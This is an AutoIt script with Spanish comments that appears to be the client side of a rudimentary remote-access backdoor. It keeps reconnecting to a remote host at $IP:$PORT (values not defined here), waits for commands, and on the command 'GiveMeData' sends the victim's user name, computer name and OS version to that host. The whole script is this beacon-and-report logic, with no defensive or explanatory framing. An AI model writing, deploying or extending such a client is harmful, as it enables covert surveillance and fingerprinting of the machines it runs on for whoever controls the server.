#include <Array.au3>
Global $Socket
Global $Recibe
While 1 ;Reconeccion
   _Conectar()
   TCPSend ($Socket,"Hola")
   While 1 ; Recibir y ejecutar
	  $Recibe =""
	  While $Recibe = ""
		 $Recibe=TCPRecv($Socket,10000000)
		 Sleep (100)
	  WEnd
	  $Dat = StringSplit($Recibe,"|||")
	  Select
	  case $Dat[1] = "GiveMeData"
		 TCPSend ($Socket,"MYDATA|||" & @UserName & "|||" & @ComputerName & "|||" & @OSVersion)
	  EndSelect
   WEnd
WEnd
 
Func _Conectar()
   While TCPStartup()=0
	  sleep (10)
   WEnd
   While True
	  $Socket=TCPConnect ($IP,$PORT)
	  If $Socket>0 Then
		 ExitLoop
	  EndIf
	  Sleep(1000)
   WEnd   
EndFunc